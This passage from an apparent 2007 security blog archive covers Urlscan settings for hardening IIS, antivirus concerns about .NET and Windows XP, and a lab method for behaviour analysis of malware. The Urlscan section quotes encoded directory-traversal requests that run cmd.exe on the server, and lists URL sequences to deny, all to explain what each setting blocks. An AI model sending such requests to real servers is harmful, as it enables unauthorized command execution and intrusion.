This option could help prevent an attacker from requesting information from a server by encoding the request in order to bypass access controls in the applications. An example of an attack that could be prevented would be the "cgi-bin/..%c0%af../..c0%af../..c0%af../..c0%af../..c0%af../winnt/system32/cmd.exe?/c+dir+c:\", which would list the directory contents of the "c:\", the Unicode attack.
VerifyNormalization Some of the requests that could be sent back to the server could be encoded multiple times. For example, %255c is double encoded for "\". The hex encode character for "\" is %5c. The hex encoded character for "%" is "%25". Thus the double encoded character for "\" would yield "%255c".

When "VerifyNormalization" value is set to "1", the default value, it causes the URL to be canonicalized twice to verify the resulting value with the result of the previous canonicalization. If the two differ the request is rejected.

The value should be set to "1", however it is known to break various web applications. The cause of this failure is typically because the application expects to receive encoded characters and tries to process regular characters as encoded characters.

This option could help prevent an attacker from requesting information from a server by double-encoding the request in order to bypass access controls in the applications. An example of an attack that could be prevented would be the scripts/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\", which would list the directory contents of the "c:\", the double-encode attack.
AllowHighBitCharacters Some of the requests that might be sent back to the server could contain non-ASCII characters. These characters would typically be UTF-8 encoded, and a site that requires international language support would use this character set.

When AllowHighBitCharacters is set to "0", the default value, the server won't process characters which are non-ASCII. However, if the value is set to "1", the server processes the request directly.

For a site that contains only ASCII characters, the value should be set to "0", however for a site which might contain additional characters (multiple language support), the value should be set to "1". This option could help prevent an attacker from requesting information from a server by encoding the request in order to bypass access controls in the applications. An example of an attack that could be prevented would be the "cgi-bin/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\", which would list the directory contents of the "c:\", the Unicode attack.
AllowDotInPath Many requests that are sent back to the server contain "../". An example of such a request could be a simple reference in the source code itself "../../images/company_logo.gif".

If this option is set to "0", the default value, Urlscan rejects any request that contains multiple periods, including the example shown above. Note that this does not negate the server IP address. If this option is set to "1" then Urlscan allows for file or directory requests with multiple periods to be processed by the server.

The default value should be set to "0", however it may break the functionality of many web applications and web sites because of the common use of relative references, such as "../../images/company_logo.gif" to reference files versus literal references, like "/images/company_logo.gif". This option could help prevent an attacker from attempting to request information from a server by providing multiple "../" as an argument. An example of an attack that could be prevented would be the "cgi-bin/..%c0%af../..c0%af../..c0%af../..c0%af../..c0%af../winnt/system32/cmd.exe?/c+dir+c:\", which would list the directory contents of the "c:\", the Unicode attack.
RemoveServerHeader By default when a request is made to the server, the server responds with a list of options. Among the response there is a variable called "Server:" which specifies the exact version of server that is hosting the site.

The default value of this is set to "0" which responds back to the client and displays the server information. If the value is set to "1", the server name is no longer sent to the client. The entire line containing the server string is omitted.

The value should be set to "1". This option could not only help prevent remote attackers from randomly targeting your websites due to the version you are running but also could prevent worms from spreading to your website if the worms are designed to first read the header information before attempting the attack on the server. Note that there are other ways to identify and enumerate a web server, however this approach removes the easiest and most obvious method.

So far there aren't any know attacks against the server string directly, however, knowing the server type and version could make the server a potential target for a zero day exploit.
EnableLogging This option starts the logging of all activities that are related to the Urlscan ISAPI. It not only logs the requests sent from the client, but also provides information onhe settings that are being implemented by the ISAPI. The default value of this is set to "1" to enable logging, however if the value is set to "0", the logging is disabled.

The value should be set to "1". However, it is important to note that some parts of the logging will be duplicated with the standard IIS logs. This option could provide more information on the type of attacks a malicious user was attempting against the website or it might also help troubleshoot other problems in the web application.
PerProcessLogging This option could be viewed as an extension to logging. It provides a separate log file for each individual process ID, by appending the Process ID in each log file. This option may aid in debugging a process using the process ID.

The default value "0" doesn't separate the logs per process ID, however if the value is set to "1", the log files are generated on the basis of each and every Process ID.

The recommended value for PerProcessLogging is "0".
AllowLateScanning This option allows the administrator to load the Urlscan ISAPI as a high or low priority filter. Note that this feature is not required for IIS 6.0 because IIS 6.0 does not depend on filter notifications for its lockdown mechanism.

The default value is "0" which will load the ISAPI as a high priority and thus will process all the requests before they are passed to the server process. When set to "1", Urlscan will be loaded later, first allowing other ISAPI Filters to be used before Urlscan screens the input.

The recommended value for "AllowLateScanning" is "0", however per Microsoft's Website, late scanning has to be enabled (set to "1" ) to allow for Front page extensions to work.
PerDayLogging This option allows for either producing daily log files or letting the administrator rotate the logs. The default value which is set to "1" separates the daily logs. A new log file is automatically started at the end of the day (12:00 AM). The log files are labeled with the date in the name - Urlscan..log.

The recommended value is "1". This would help organize the data more systematically, however when the logs are centralized using a central log server it might require a single master file.
RejectResponseUrl This option allows for a custom error message to be presented to the client.

The default value would reveal to the User Agent - that Urlscan is being run on the remote system. Note that XSS is common in custom error messages, therefore one should be careful in modifying this default value.
UseFastPathReject This option is used in conjunction with the RejectResponseUrl. If the value of "UseFastPathReject" is set to "0", then the ISAPI will respond back with the value of the "RejectResponseUrl", however, if the value is set to "1", then the ISAPI will neither use the "RejectResponseUrl" nor log the request. If an ISA server is part of the website architecture, then the Proxy server will log both the request and the response.

The default value for "UseFastPathReject" is "1". Urlscan will ignore the "RejectResponseUrl" and returns a 500 error message to the browser. This is faster than processing RejectResponseUrl, but it does not permit as many logging options.

The recommended value is "1", if the value is set to "0", there is too much information logged.
AlternateServerName This option allows to customize the "Server" value. This option works in conjunction with "RemoveServerHeader". If the value of "RemoveServerHeader" is "0", then AlternateServerName can be used to specify a replacement for IIS's built in 'Server' header.

The recommended value could changed to either be a different vendor's name or something unique that would mislead the attacker.
DenyUrlSequences This option allows you to specify a list of characters to be rejected in the URL. The default options here are "..", "./", "\", ":", "%" and "&". Additional values recommended to add to this list are "#", "<", ">", "$", "@", "!", "," and "~".

This option could help prevent different attacks against the site including cross site scripting attacks on the URL.

Conclusion
The use of Urlscan in conjunction with IIS Lockdown blocks a multitude of attacks against IIS. However they do not provide a comprehensive solution for the IIS administrator. There are some security issues that still need to be explicitly addressed by the IIS administrator. These include: implementation of a patch management process to ensure that the both the IIS server and the underlying operating system are up to date with security fixes, hardening the underlying operating system security and the removal of un-mapped or unused DLLs to prevent their accidental re-mapping. However, IIS lockdown and Urlscan go a long way in securing an IIS server.

Antivirus Concerns in XP and .NET Environments

2007-10-15T23:15:00.000-07:00

After Windows NT was released, it took virus writers five years to learn how to infect it. Windows NT 3.1 and the Win32 API were released in late 1993, but it wasn't until August 1998 that W32.Cabanas became the first NT virus by capturing coveted kernel mode access. .NET and some of Microsoft's other initiatives have not been as lucky. The purpose of this article is to discuss antivirus (AV) concerns with .NET and Microsoft Windows XP.

.NET Review

.NET was officially announced by Microsoft in July 2000 at a Microsoft Professional Development Conference. Since then, what .NET has meant and the products involved have changed (and been renamed). .NET is an idea and a programming platform. The basic concept is an evolving extension of Microsoft's Object Linking Embedding (OLE) introduced back in the early days of Windows 3.0. OLE allows you to copy objects and data created in one application, like a spreadsheet graph, to other applications. OLE evolved into ActiveX objects, which are executables you can download and run within an Internet browser.

.NET takes it two steps further by allowing the entire application to be hosted elsewhere (potentially allowing your environment to follow you, no matter where you go) and allowing different distributed software parts to make up one application. For example, your Windows desktop settings, your applications, and your data may be available to you where ever you compute. Running by an Internet kiosk in an airport? Just login and access your desktop and your data. Different applications will co-exist together, over the web, to bring you that integrated environment. One vendor will handle the login and authentication, another will store your data, and each of your applications will be made up of specifically customized components. I'll take two thesauruses, a math equation editor, and a French translation dictionary please. Hold the autocorrect.

All of this magic happens because of new distributed .NET programming platform and a horde of new Microsoft developer tools and languages: C# (C Sharp), Visual J#, VB.NET, Visual Studio .NET, ASP.NET, increased reliance on XML, and a host of other new programming tools and platforms.

The .NET execution framework reminds many people of Java's model. In order for a Java applet to run, it must be executed in a Java Virtual Machine (JVM) environment. .NET executables (regular Windows 32-bit Portable Executables) run on top of a similar environment called the Common Language Runtime or CLR. This is what you are installing when you install the Microsoft .NET Framework component. The CLR runtime engine performs security checks, does type checking, checks memory pointers, loads other component dependencies, and Just-In-Time (JIT) compiles the platform-independent source code into executable code. And further, there are intermediate source code representations (called Microsoft Intermediate Language or MSIL), class files, class loaders, and separate treatment between trusted and untrusted code. Untrusted code is sandboxed and prevented from accessing or risking system resources. This should sound a whole lot like Java to anyone.

I bring up this comparison because .NET is more complex than Java, and complexity doesn't mix well with security. I often hear that Java is very secure because it has only had one widespread in-the-wild exploit. I love Java and the people who designed it did so with security as top priority. But the truth is that Java has had dozens of security holes patched since its release. Just because the white-hatters are the ones finding them doesn't make it a secure platform. Many Java exploits have been found by breaking assumptions between its mesh of interoperating components. See, in order for Java security to work, all the components must work 100% of the time. If one fails, they all fail. Because .NET's execution model is roughly similar, it isn't a hard stretch to believe that many holes will be found in .NET.

Web Services

Web services are the reason for all the complexity. Web services are XML applications, interfaces, and data, designed to be shared across multiple platforms around the Internet. A web service might be a single application hosted by an Application Service Provider (ASP) or it could be a combination of several different vendor's web services making up one application experience for the user. For example, consider a typical online transaction such as buying a pair of jeans. You may use one web service to authenticate your login to the manufacturer's web site, another to help get you the perfect fit, and another to determine delivery details and payments.

Microsoft's Passport was the first example of a web service. Passport allows you to use a single login name and password for all web sites that support Passport authentication. It has tens of millions of users and it has had a series of security issues over the years. In one such instance in May of this year, it was discovered that a remote attacker could send a rather trivial, malicious URL to hotmail.com, be able to change anyone's password and take over the passport account. Maliciously altered Passport accounts can be used to buy goods online and to view confidential data.

The idea that a single, widespread web service with a vulnerability that can immediately expose tens of millions of people to new threats has security experts paying attention. Today's conventional worms and viruses are infecting millions of computers in ten minutes. But a crafty web service worm could potentially conduct millions of falsified commercial transactions in a matter of minutes, something a MS-Office macro virus can't hope to do.

The complexity and popular use of .NET's execution model worries security experts. The widespread sharing of applications, code, and data around the Internet is bound to culminate in interesting future exploits. Lucky for us so far, .NET exploits have been limited to some 'growing pain' problems with Microsoft Passport and a few worms and viruses.

.NET Viruses

There are already at least three .NET worms and viruses: Donut, Serot and Sharpei. Donut, discovered on January 9, 2002, was the first .NET virus. Sent only to researchers as concept malware, the buggy Donut attempts to infect all the .EXE files in the current folder and up to 20 folders above it. It contains a never-executed payload display message and only a small amount of MSIL code. It is mostly normal 32-bit assembly language and the .NET files it infects are turned into regular looking PE files. Donut was the first .NET virus, but it only had a short lead on the others.

Donut was quickly followed up by the Serot, worm which arrives as an impersonated email from support@microsoft.com. It infects all .NET (MSIL) .EXE files on drive C: and will attempt to send itself to all email addresses in the Windows Address Book and those it finds in the Internet Explorer cache folder. Like the virus that followed it, Serot contains a VBS file that does the mass mailing effort. This appears to be easier to do in a script language for the crackers than in MSIL. Serot attempts to terminate antivirus processes on infected PCs and contains a plug-in architecture similar to the one successfully used in the Hybris worm.

Then the Sharpei virus was discovered on February 26, 2002. It arrives in email pretending to be a Microsoft patch, MS02-010.EXE. Written in C#, it drops a Sharp.VBS file that sends itself to all contacts in the Microsoft Outlook address book. After messages are sent, the evidence is deleted from the Sent Items folder in Outlook.

Both the Sharpei and Donut viruses are direct action infectors, meaning they execute and do their damage upon running, and then exit until the next execution. All three "concept" programs have their problems and are unlikely to spread far. Antivirus researchers expect the future to bring memory-resident .NET viruses.

Note: Peter Szor, with Symantec, did detailed write-ups on Donut and Sharpei for the Virus Bulletin publication. You can visit www.peterszor.com or www.virusbtn.com for detailed reading on .NET infections.

Because all three .NET malware programs are very buggy and require .NET to be installed, none spread very far outside research laboratories. But a crucial point, that malware writers are ready to exploit the .NET framework, has been proven. It won't be a five-year wait this time. Meanwhile, new features in other Microsoft platforms have raised concern among AV experts.

Windows XP Concerns

Windows XP has an improved model of NT's HAL, kernel, and user mode processes. Overall, with XP and Server 2003, Microsoft has increased the stability and security of their operating systems. True, Internet Explorer and Outlook continue to be the weak points in Microsoft's Trustworthy Computing initiative, but their core operating systems are becoming more secure out of the box. At the same time, Microsoft cannot resist (and consumers demand) new features, and XP has plenty of those. Some have been exploited, most haven't...yet. The next part of this article will briefly discuss the new feature XP sets that concern computer security analysts.

Windows Media Player

It used to be that you only had to worry about malicious executable content. Data was data was data, and it could not be launched as an attack. Times change and data content is often exploited in today's multimedia world. The content itself can be used maliciously, in a buffer overflow or through embedded script languages. Another common ruse is for the file to have a header claiming it is one type of file, but instead it contains something completely different, bypassing security-checking mechanisms. The multimedia program itself is often used for the attack. If the interface allows scripting or "skin" updating, rogue coders can instruct the program to do things that would otherwise be constrained by one of Internet Explorer's security zones.

Microsoft's Windows Media Player is installed by default on every version of Windows. The original release of XP came with version 8.0, although anyone can upgrade to version 9 for free. Several holes have been found with the Windows Media Player over the last few years, and Microsoft has patched them when reported. The older versions of Windows Media Player have more security holes than the newer versions, but many people are hesitant to upgrade because of their bulkiness and the restrictive Digital Rights Management features of the newer versions. To be fair to Microsoft, let's not forget that Flash files, RealPlayer, Winamp, and just about every other popular media distribution content has be found to have one or more exploit holes over the past year. But network administrators would appreciate it if Windows Media Player was not installed by default and upgrades were not offered to end-users via Windows Update when it has been removed on purpose.

WebDAV (Web Digital Authoring and Versioning)

WebDAV is a feature installed on machines with XP or IIS 5, or greater. WebDAV is a HTTP protocol extension that allows users to publish and collaborate on documents that are stored on the web. Contrary to common belief, WebDAV is a popular open standard and not just a Microsoft feature. There have been a handful of exploits against Microsoft's implementation of WebDAV, including DoS and buffer overflows. The biggest problem with WebDAV is that it is installed and turned on by default when most people don't use it. It's a good, powerful collaboration tool, it just needs more security analysis and should not be turned on by default. WebDAV is not turned on by default on Server 2003 and IIS 6.

Remote Desktop Connection

Remote Desktop Connection allows one XP Pro PC to remotely connect and control another XP Pro PC with a PC Anywhere-style session. Remote Desktop, as it is called in the System Control Panel applet, uses Terminal Server's Remote Desktop Protocol (RDP) over TCP port 3389. It is not turned on by default, and so far has not been exploited. Still, knowing that it is installed as an inactive shell on every Windows XP computer, many of which are poorly secured, raises some concerns.

Remote Assistance

Unlike Remote Desktop Connection, Remote Assistance is turned on by default. It allows one XP user to invite, using either email or instant messaging, another XP user to have remote control access over their PC. Besides desktop control, the remote user can participate in chat sessions and transfer files. Invitations can be open for many days, and the default is 30 days. One of the main concerns is that there is no vetting mechanism to guarantee who is who in the remote assistance scenario. There exists the possibility that a malicious remote user may impersonate a tech support person and plant malicious files. While there have been no public exploits using Remote Assistance, AV experts worry about poorly password protected connections and buffer overflow attacks.

Internet Connetion Firewall (ICF)

Microsoft's first attempt at a desktop firewall is laudable, but comes up a bit short. ICF's main deficiency is that it lacks the ability to block outgoing port traffic. Many malware programs, once installed, will initiate outbound communications to continue their maliciousness. It could be a remote access trojan contacting its originating hacker to advertise the successful intrusion or an email worm with its own SMTP engine sending itself out around the world. In either of these two cases, because ICF allows all outgoing requests by default, the end-user will not be warned. Most of today's personal desktop firewalls would stop the request and alert the user. I hope if Microsoft continues to support ICF as firewall product that additional features sets will be added and its usefulness increased. ICF is also installed on Server 2003.

UPnP

Universal Plug and Play is another feature that should be turned off by default. UPnP allows a Windows machine to discover UPnP devices (ex. printers, scanners, etc.) on the network and to auto-configure their use. UPnP ended up being XP's first big publicly touted hole in December 2001. It was a buffer overflow and could be successfully exploited over the Internet, and if a firewall did not block UDP port 1900, it could be used to gain complete control of the machine. Luckily, UPnP is not even installed on Microsoft's latest offering, Windows 2003.

Simple File Sharing

XP the Home Edition has a feature called Simple File Sharing. When a folder is shared, it is immediately accessible to everyone on the local network and no specific permissions can be set. The folder can be set as read-only, but if changes are allowed, full control is given to anyone who can see the folder. AV experts worry that if a virus or worm gets loose on a home network with Windows XP Home, the malware will have no problem traveling machine to machine using network shares

Windows Messenger

Microsoft's Windows Messenger is installed by default on XP Pro and Home editions. Instant messaging (IM) clients open additional avenues for attacks. First, there have been many buffer overflow attacks against instant messaging clients, even when not turned on and only installed. Second, IM clients allow yet another avenue for the unsuspecting Joe User to receive malicious files. Many antivirus programs do not monitor IM file transfers. Third, there are malicious programs and viruses that specifically target Microsoft's IM clients. Although not attacked nearly as much as IRC and AOL's AIM clients, instant messaging is a technology being used before the security is all in place.

Office XP

Although only affiliated with Windows XP by name only, here's a good point to discuss a potential security problem in Microsoft Office XP. One of the most touted features of Office XP is its ability to read and write files in XML format. Macro viruses, which for several years were the number one infection type, have been mostly tamed by Office's macro security and antivirus software. XML has the potential to allow yet another round of new technology viruses into our Office documents. This is because XML is an everyman's language. An XML file is what you define it to be. Besides text, it can contain executable code, scripting, multi-media content, whatever programmers might want it to contain. As has been proven so many times in the past, flexibility and choice increases the risk of malicious exploitation.

I'm sure there are some features I missed that may be exploited in the future, but at the moment these are the main ones garnering increased scrutiny by security professionals.

Windows XP Security

Before this paper ends, I want to point out that security has been strengthened in Windows XP, and much more so in Windows 2003. XP was the first Microsoft operating system to offer a firewall (ICF), and it's better than nothing for the consumer that isn't motivated to install another vendor's personal firewall product. XP has Encrypted File System (EFS), Windows File Protection (WFP), Certificate Services, IPSEC, Kerberos, Software Restriction Policies, and System Restore. All of these additional features fight malicious code and are welcome additions to the Microsoft family. All security reviews of Server 2003 have been positive. More unnecessary features have been turned off by default and file and registry settings strengthened.

Summary

The complexity of the .NET execution platform worries security experts. Once it is widespread, malicious coders will find holes in between the interoperable layers and then execute security exploits. The persuasive nature of web services means that one malware threat could quickly compromise a large number of machines. There are already three .NET viruses and worms. Although they are buggy, future viruses and worms will be able to perform without error as crackers begin to target .NET.

Windows XP contains much new functionality, some of which has been exploited, and other features which have yet to be maliciously explored. XP also contains many new security features, like Windows File Protection and Internet Connection Firewall, which strengthens the OS's response to security threats.

Roger A. Grimes, CPA, MCSE (NT/2000), CNE (3/4), A+, has been fighting malicious code since 1987 and is the author of Malicious Mobile Code: Virus Protection for Windows (O'Reilly). He is a frequent writer and speaker on computer security topics. His next book, Honeypots for Windows (APress) will be available near the end of the year.

Malware Analysis for Administrators

2007-10-15T23:14:00.000-07:00

1. Introduction
The threat of malicious software can easily be considered as the greatest threat to Internet security. Earlier, viruses were, more or less, the only form of malware. Nowadays, the threat has grown to include network-aware worms, trojans, DDoS agents, IRC Controlled bots, spyware, and so on. The infection vectors have also changed and grown and malicious agents now use techniques like email harvesting, browser exploits, operating system vulnerabilities, and P2P networks to spread. A relatively large percentage of the software that a normal internet user encounters in his online journeys is or can be malicious in some kind of way. Most of this malware is stopped by antivirus software, spyware removal tools and other similar tools. However, this protection is not always enough and there are times when a small, benign looking binary sneaks through all levels of protection and compromises user data. There may be many reasons for this breach, such as a user irregularly updating his AV signatures, a failure of AV heuristics, the introduction of new or low-profile malware which has not yet been discovered by AV vendors, and custom coded malware which cannot be detected by antivirus software. Though AV software is continually getting better, a small but very significant percentage of malware escapes the automated screening process and manages to enter and wreak havoc on networks. Unfortunately, this percentage is also growing everyday.

It is essential for users and absolutely essential for administrators to be able to determine if a binary is harmful by examining it manually and without relying on the automated scanning engines. The level of information desired differs according to the user's needs. For instance, a normal user might only want to know if a binary is malicious or not, while an administrator might want to completely reverse engineer the binary for his purposes.

Traditionally, malware analysis has been considered to be very complicated, and in fact some of the techniques are still very complicated and beyond a normal user's access. Nevertheless, looking at the current scenario, we can see that there is a clear need for people to learn how to analyze malware themselves. But the caveat is that the analysis techniques have to be simplified and the learning curve has to be made smaller for mass consumption among the general public. Unfortunately, there is not much organized information in the public domain dealing with easy to use malware analysis techniques. This paper tries to fill this void. The focus is on malware reversing but these techniques can be applied to reverse engineer any binary.

Besides the uses mentioned above, malware analysis is used for forensics, honeypot research, security vulnerability research, etc.
2. Background, goals, assumptions and tools
2.1 Background
There are basically two broad categories of techniques that are used for analyzing malware: code analysis and behaviour analysis. In most cases, a combination of both these techniques is used. We will consider code analysis first.

Code analysis is one of the primary techniques used for examining malware. The best way of understanding the way a program works is, of course, to study the source code of the program. However, the source code for most malware is not available. Malicious software is more often distributed in the form of binaries, and binary code can still be examined using debuggers and disassemblers. However, the use of these tools is often beyond the ability of all but a small minority because of the specialized knowledge required and the very steep learning curve needed to acquire it. Given sufficient time, any binary, however large or complicated, can be reversed completely by using code analysis techniques.

On the other hand, behaviour analysis is more concerned with the behavioural aspects of the malicious software. Like a beast kept under observation in a zoo, a binary can be kept in a tightly controlled lab environment and have its behaviour scrutinized. Things like changes it makes to the environment (file system, registry, network, etc), its communication with the rest of the network, its communication with remote devices, and so on are closely observed and information is collected. The collected data is analyzed and the complete picture is reconstructed from these different bits of information.

The best thing about behaviour analysis is that it is within the scope of an average administrator or even a power user. The learning curve is very small and existing knowledge can be leveraged to make the learning process faster. This makes it ideal for teaching newbies the art of malware reverse engineering. These reasons are consistent with our stated goals, focused on the typical administrator, and therefore this paper is mostly concerned with behaviour analysis.

Though reverse engineering using behaviour analysis does not lead to the complete reversing of a binary, it is sufficient for most users' needs. For instance, it is not sufficient for an antivirus researcher but for most other users, behaviour analysis can fulfill all their needs.
2.2 Goals in the analysis
As stated before, our goal is to provide a set of behaviour analysis techniques for reverse engineering malware. Also, the learning curve should be small so that it is within the scope of most people.

Using these methods, people should be able to analyze an unknown binary and determine whether it is malicious or not. Those who require more in-depth knowledge should be able to reverse engineer the binary, understand and document its workings completely.
2.3 Assumptions and definitions
This paper makes a few assumptions for the sake of convenience and clarity. These are:

1. We assume that the malware under consideration is a Win32 based binary on an Intel x86 machine. This is just for the sake of clarity. The basic principles can be just as easily applied to any other platform.
2. We sometimes refer to the malware as "the binary". This does not however mean that the principles are applicable only to a malicious application that is composed of a single binary.
3. The host machine on which the binary is executed is referred to as the "victim host" or the "victim machine".
4. The other machine on the test network is referred to as the "sniffer machine".

2.4 Tools
Since the goal of this paper is to propose a generic set of techniques, the tools mentioned in this paper are just "proposed" tools and are available as references at the end of this document. Any other tool that has the same or similar functionality can be used in place of the proposed ones.
3. Methodology
The framework proposed is broadly divided into six stages. They are:

1. Creating a controlled environment
2. Baselining the environment
3. Information collection
4. Information analysis
5. Reconstructing the big picture
6. Documenting the results

3.1 Creating a controlled environment
The setting up of a controlled and sanitized environment is absolutely essential for analyzing malware. A special "test lab" is created for this purpose. Some essential features of the test lab are:

* At least two machines should be used. One machine is for hosting the malicious binary (victim machine) and the other is for baselining and sniffing the network traffic (sniffer machine). They should be networked in such a way that each of them is able to sniff the other's network traffic.
* The two networked lab machines should be isolated from the rest of the network.
* Fresh copies of Operating Systems should be installed on each of the two machines. It is preferable to have a WinNT kernel family OS on one machine and a *nix based OS on the other. Since we are assuming a Win32 binary, the WinNT machine acts as the "victim host" and the *nix machine is used as the "sniffer machine".
* Tools should be transferred to the relevant machines.
* The binary that is to be examined should be transferred to the relevant machine. Since we are assuming a Win32 binary, it is transferred to the Win32 machine in this case.
* It is highly preferable not to install any other application upon the "victim host" apart from the tools required for analysis.

This is the most basic setup for a malware analysis lab. Apart from this and depending on the situation, more modifications can be carried out. For instance, if the malicious binary tries to communicate with a remote server xyz.com, a DNS server has to be setup in one of the lab machines and a DNS entry for xyz.com has to be created. An excellent paper that discusses the creation of a malware analysis lab is "An Environment for Controlled Worm Replication and Analysis".

We may have to return to this "creating a controlled environment" stage many times during the analysis process. Sometimes, in the light of new information generated during the later stages, the lab will have to be tweaked and modified.
3.2 Baselining the environment
Baselining the environment is the next major step. "Baselining" means taking a snapshot of the current environment. This is the most vital stage in our analysis. If baselining is not done properly, it has a serious effect on the information gathering stage, which in turn seriously effects our understanding of the binary. If baselining is done efficiently, the information generated during the next stage becomes very accurate and the rest of the stages become easy to execute.

To accomplish our goals, the binary which is to be analyzed is executed in a controlled environment and the changes it makes to that environment are captured. Before executing the binary, a snapshot of the environment is created (baseline) and then after execution another snapshot is created. In theory, the difference between the baseline and the final snapshot gives the changes made by the binary.

The elements of the environment that have to be baselined are:

3.2.1 Victim machine
Some of the elements that are to be baselined in the Victim Machine are:

o Filesystem: The file system on the victim host has to be baselined. There are many programs that can create a snapshot of the file system and after a few changes occur, they can point out the modifications. Some of the programs we can use are Winalysis and Installrite.
o Registry: The registry is the next component that is to be baselined. Most malware applications rely on registry entries. Therefore it is crucial to capture registry modifications. Winalysis as mentioned above is one of the available programs that can be used for registry baselining.
o Running processes: A snapshot of the running processes can be created using a number of programs. Some of them are available from Sysinternals.
o Open Ports: A snapshot of the open ports can be created using the 'netstat' utility. However, it does not list the name of the process that is tied to the port. For this, we can use Fport available from Foundstone.
o Users, Groups, Network Shares and Services are some of the other elements that should be baselined.
3.2.2 Network traffic
The next element that has to be baselined is the network traffic. Even when there is no application running on either of the test machines, there will still be some network traffic. This traffic has to be recorded and the "normal traffic" in our test network has to be defined. This is because when deviations occur in the "normal traffic" pattern, we can assume it to be generated by the binary and perform further testing on it.

Sniffing software that is installed on our "sniffer machine" is used for this purpose. Any sniffing software running in verbose mode is sufficient for our purposes. However, to make our task easier, it is preferable to use a protocol analyzer like Ethereal.
3.2.3 External view
Although we have created a snapshot of the open ports in the victim machine, it is always better to create one more snapshot from an external machine. A port scanner running on our "sniffer machine" can achieve this task for us. It goes without saying that Nmap will be the port scanner of choice for most users.

3.3 Information collection
Now that the preparations are over, we can go ahead with our task. This is the only stage where we have an actual interaction with the binary. A lot of raw information about the binary is collected during this stage which is analyzed in the next stage. Therefore, it is very important to carefully record all the information generated in this stage. The steps in the information collection stage are:

3.3.1 Static analysis
During the static analysis stage, we collect as much information about the binary as possible, without executing it. This involves many techniques and tools. Static analysis reveals the scripts, HTML, GUI, passwords, commands, control channels, and so on. Simple things like the file name, size, version string (right-click>properties>version in Win32), are recorded.

Human-readable strings are extracted from the binary and these strings are recorded. A program like Binary Text Scan can be used for this purpose. These strings reveal a lot of information about the function of the binary.

Resources that are embedded in the binary are extracted and recorded. A program like Resource Hacker can be used for this purpose. The resources that can be discovered through this process include GUI elements, scripts, HTML, graphics, icons, and more.
3.3.2 Dynamic analysis
During this stage, we actually execute the binary and observe its interaction with the environment. All monitoring tools including the sniffing software are activated. Different experiments are done to test the response of the running malware process to our probes. Attempts to communicate with other machines are recorded. Basically a new snapshot of the environment is created like in the baselining the environment stage.

After taking a snapshot of all the changes the binary performs in the system, the binary process is terminated. Now, the differences between the new snapshot and the baseline snapshot are determined. The dynamic analysis step is very similar to the baselining the environment stage. Therefore, the tools are reused for this stage. Winalysis and InstallRite can be used for this purpose. Apart from these tools, Filemon and Regmon from Sysinternals can be used for monitoring the file system and the registry dynamically. These tools are used for observing the changes to the file system and the registry.

This information is recorded and forms the input for the next stage of our analysis. The information generated here can be new files, registry entries, open ports, etc.

Sometimes, the static analysis step has to be repeated once more after doing a dynamic analysis.
3.4 Information analysis
This is the stage where we can finally reverse engineer the binary based on all the information collected during the previous stages. Each part of the information is analyzed over and over and the "jigsaw puzzle" is completed. Then the big picture automatically begins to appear and the reverse engineering process is finished. However, before this is achieved, we may have to repeat the previous stages (See figure) several times.

The goals of the individual or organization evaluating the binary determine the type of analysis and because the goals differ, no standard methodology is provided for this stage. Looking for deviations from the stated security policy of an organization based on the information can be the determining factor in some cases.

Although a complete methodology for information analysis is beyond the scope of this paper, a few techniques are presented here. In many cases, these techniques are sufficient for analysis.

3.4.1 Internet searches
A search engine can be used for searching for more information on the binary. Keywords for the search engine can be drawn from the information generated during the "Static Analysis" step during the previous stage. Things like filenames, registry entries, commands, etc. often reveal a lot of information about the malware. Some good sources of information on the internet include Online Virus Databases (mostly maintained by Antivirus Vendors), News Groups and Mailing Lists. Many times, internet searches reveal almost all there is to know about the malware and no further research is needed.
3.4.2 Startup methods
Every malware needs a way to ensure that it is executed when a system reboots. This is the most vulnerable aspect of the malware. There are only a limited number of ways in all operating systems that a program can use to restart automatically when a machine reboots. The information collected during the previous stage can be analyzed to identify the startup method of the malware. A very good source for Startup Methods related information on the Internet is the Paul Collins' Startup List.
3.4.3 Communication protocol
A network protocol analyzer like Ethereal in many cases can identify the communication protocol used by the binary. When this is not the case, the protocol has to be reverse engineered. This is beyond the scope of this document.
3.4.4 Spreading mechanism
If the malware under scrutiny is a self-spreading worm or virus, the collected network traffic data will easily reveal its spreading mechanism. In most cases, a cursory glance is enough.

3.5 Documenting the results
Documenting the results of the malware analysis and reverse engineering exercise is essential. One of the main advantages is that the knowledge incorporated into the documentation can be leveraged for later analysis exercises. The documentation needs differ from individual to individual and organization to organization. The method preferred by the concerned party can be used here.
4. Conclusion
From this article we've seen that a basic behavioral analysis of a binary can be easily performed by an administrator, or indeed by a power user. While this approach does not give the same level of detail as code analysis would, it is sufficient for most people's needs when figuring out what a potentially malicious binary is capable of.

About the author

S.G.Masood is the founding CTO of the Chicago, Illinois based application security startup Circle Technologies. He currently stays in Hyderabad, India and manages the development center.

References

"An Environment for Controlled Worm Replication and Analysis" by Ian Whalley Bill Arnold, David Chess, John Morar, Alla Segal, Morton Swimmer - www.research.ibm.com/antivirus/SciPapers/VB2000INW.htm

"Reverse Engineering Malware" by Lenny Zeltser - www.zeltser.com/sans/gcih-practical/revmalw.html

"Paul Collins' Startup List" - http://www.sysinfo.org/startuplist.php

Archives of the various security and malware related mailing lists, most notably, Bugtraq, Full-Disclosure, Focus-Virus, Incidents.

VMWare - www.vmware.com

Winalysis - www.winalysis.com

Installrite - www.epsilonsquared.com

Fport - www.foundstone.com

Nmap - www.insecure.org

Binary Text Scan - netninja.com/files/bintxtscan.zip

Resource Hacker - www.users.on.net/johnson/resourcehacker/

Filemon and Regmon - www.sysinternals.com

Ethereal - www.ethereal.com

Detecting Complex Viruses

2007-10-15T23:12:00.000-07:00

There are many metrics by which to measure the efficiency and effectiveness of an antivirus product and the response organization that is backing it. Some of the commonly used metrics today include the antivirus company's response time to new threats and well as the availability of proactive detection. But are these metrics enough?

The purpose of this paper is to examine the difficulties of detecting complex viruses, including polymorphic, metamorphic and entry-point obscuring viruses. Whether or not an anti-virus technology can detect these viruses can be a useful metric to consider when evaluating AV products.

In this article, we will show how complex viruses can offer an entirely different threat to organizations. It is important to step into the world of complex viruses by defining what a metamorphic, polymorphic, and entry-point obscuring virus is, understand when it is considered a real threat, and then see some real-life examples of complex viruses that have been discovered. This will lead into a discussion on the limitations of current anti-virus engine technology, and then finally, we will try to gauge the importance of detecting these complex viruses accurately, and in a timely fashion.
Overview of complex viruses
